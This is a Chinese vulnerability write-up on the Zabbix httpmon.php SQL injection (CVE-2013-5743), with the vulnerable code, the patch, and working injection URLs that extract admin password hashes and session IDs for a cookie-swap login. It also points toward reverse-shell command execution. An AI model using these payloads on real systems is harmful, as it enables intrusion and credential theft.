Zabbix SQL Injection/RCE – CVE-2013-5743

wyzsk發表於2020-08-19
作者: 瞌睡龍 · 2013/10/17 12:55

from:https://www.corelan.be/index.php/2013/10/04/zabbix-sql-injectionrce-cve-2013-5743/

0x00 背景


該漏洞於2013年9月11號提交,9月23號得到確認,10月2號釋出補丁。

新出的0day,可以透過sql注入直接進入後臺,並執行系統命令。

該漏洞已有metasploit利用模組,請使用Zabbix的公司注意及時打補丁。

0x01 利用細節


該漏洞存在於httpmon.php指令碼中,未登入使用者也可訪問。

這是由於Zabbix預先設定了一個guest使用者,未登入使用者都被設定為guest使用者的訪問許可權。

如果guest使用者被禁用,將不能訪問httpmon.php指令碼,利用該漏洞。

可以在管理員的管理皮膚中禁用guest使用者。

從下圖中可以看出來applications引數存在sql注入。

enter image description here

檢視原始碼:

#!php
foreach ($_REQUEST['applications'] as $application) { 
     add2favorites('web.httpmon.applications', $application); 
     }

進入了$application變數中,跟蹤add2favorites函式:

#!php
function add2favorites($favobj, $favid, $source = null) { 
     $favorites = get_favorites($favobj); 
     foreach ($favorites as $favorite) { 
          if ($favorite['source'] == $source && $favorite['value'] == $favid) { 
          return true; 
          } 
     } 
     DBstart(); 
     $values = array( 
          'profileid' => get_dbid('profiles', 'profileid'), 
          'userid' => CWebUser::$data['userid'], 
          'idx' => zbx_dbstr($favobj), 
          'value_id' => $favid,
          'type' => PROFILE_TYPE_ID 
);

進入$values陣列的value_id中,再往下跟蹤就可以發現變數沒有經過任何過濾進入到sql語句中:

#!php
return DBend(DBexecute('INSERT INTO profiles ('.implode(', ', array_keys($values)).') VALUES ('.implode(', ', $values).')'));

最新,Zabbix的補丁:

#!php
Index: frontends/php/include/profiles.inc.php
===================================================================
--- frontends/php/include/profiles.inc.php  (revision 38884)
+++ frontends/php/include/profiles.inc.php  (working copy)
@@ -148,9 +148,9 @@
            'profileid' => get_dbid('profiles', 'profileid'),
            'userid' => self::$userDetails['userid'],
            'idx' => zbx_dbstr($idx),
-           $value_type => ($value_type == 'value_str') ? zbx_dbstr($value) : $value,
-           'type' => $type,
-           'idx2' => $idx2
+           $value_type => zbx_dbstr($value),
+           'type' => zbx_dbstr($type),
+           'idx2' => zbx_dbstr($idx2)
        );
        return DBexecute('INSERT INTO profiles ('.implode(', ', array_keys($values)).') VALUES ('.implode(', ', $values).')');// string value prepearing

if (isset($DB['TYPE']) && $DB['TYPE'] == ZBX_DB_MYSQL) {
    function zbx_dbstr($var) {
        if (is_array($var)) {
            foreach ($var as $vnum => $value) {
                $var[$vnum] = "'".mysql_real_escape_string($value)."'";
            }
            return $var;
        }
        return "'".mysql_real_escape_string($var)."'";
    }

變數處理經過了一層mysql_real_escape_string函式的過濾。

在上面那個漏洞中,下面的語句可以讀取管理員的使用者名稱與密碼md5的hash值:

http://zabbix.server/zabbix/httpmon.php?applications=2%20and%20%28select%201%20from%20%28select%20count%28*%29,concat%28%28select%28select%20concat%28cast%28concat%28alias,0x7e,passwd,0x7e%29%20as%20char%29,0x7e%29%29%20from%20zabbix.users%20LIMIT%200,1%29,floor%28rand%280%29*2%29%29x%20from%20information_schema.tables%20group%20by%20x%29a%29

enter image description here

成功獲取,但是如果管理員的密碼過於複雜,md5碰撞不出來明文的怎麼辦呢?

發現Zabbix的資料庫中還儲存了使用者的session值,它們似乎都不會失效,除非使用者點選了退出登入。

下圖展示了資料庫中sessions表儲存的內容:

enter image description here

那我們直接注入獲取管理員的session值,直接登入吧,無需碰撞md5的hash了。

http://zabbix.server/zabbix/httpmon.php?applications=2%20and%20%28select%201%20from%20%28select%20count%28*%29,concat%28%28select%28select%20concat%28cast%28concat%28sessionid,0x7e,userid,0x7e,status%29%20as%20char%29,0x7e%29%29%20from%20zabbix.sessions%20where%20status=0%20and%20userid=1%20LIMIT%200,1%29,floor%28rand%280%29*2%29%29x%20from%20information_schema.tables%20group%20by%20x%29a%29

enter image description here

用獲取到的session替換cookie中zbx_sessionid中的值:

enter image description here

然後就登陸成功:

enter image description here

管理員進入後可以命令執行具體方法wooyun上已經有了:

WooYun: sohu的zabbix,可導致內網滲透

也可以直接反彈shell執行命令方便很多,具體姿勢可以參考:

反彈shell的十種姿勢

本文章來源於烏雲知識庫,此映象為了方便大家學習研究,文章版權歸烏雲知識庫!

相關文章